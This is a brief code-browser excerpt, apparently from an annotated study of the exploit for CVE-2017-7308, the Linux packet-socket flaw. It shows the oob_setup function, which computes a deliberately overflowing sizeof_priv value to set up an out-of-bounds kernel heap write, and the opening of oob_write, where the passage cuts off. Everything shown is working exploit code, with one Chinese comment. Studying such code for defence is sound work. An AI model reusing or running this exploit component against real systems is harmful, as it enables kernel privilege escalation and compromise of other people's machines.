Function oob_setup

CVE-2017-7308/exploit.c:189–197

计算 sizeof_priv

#define UDP_HDR_LEN_FULL	(ETH_HDR_LEN + IP_HDR_LEN + UDP_HDR_LEN)
// 计算 sizeof_priv
int oob_setup(int offset) {
	unsigned int maclen = ETH_HDR_LEN;
	unsigned int netoff = TPACKET_ALIGN(TPACKET3_HDRLEN +
				(maclen < 16 ? 16 : maclen));
	unsigned int macoff = netoff - maclen;
	unsigned int sizeof_priv = (1u<<31) + (1u<<30) +
		0x8000 - BLK_HDR_LEN - macoff + offset;
	return packet_socket_setup(0x8000, 2048, 2, sizeof_priv, 100);
}

void oob_write(char *buffer, int size) {
	loopback_send(buffer, size);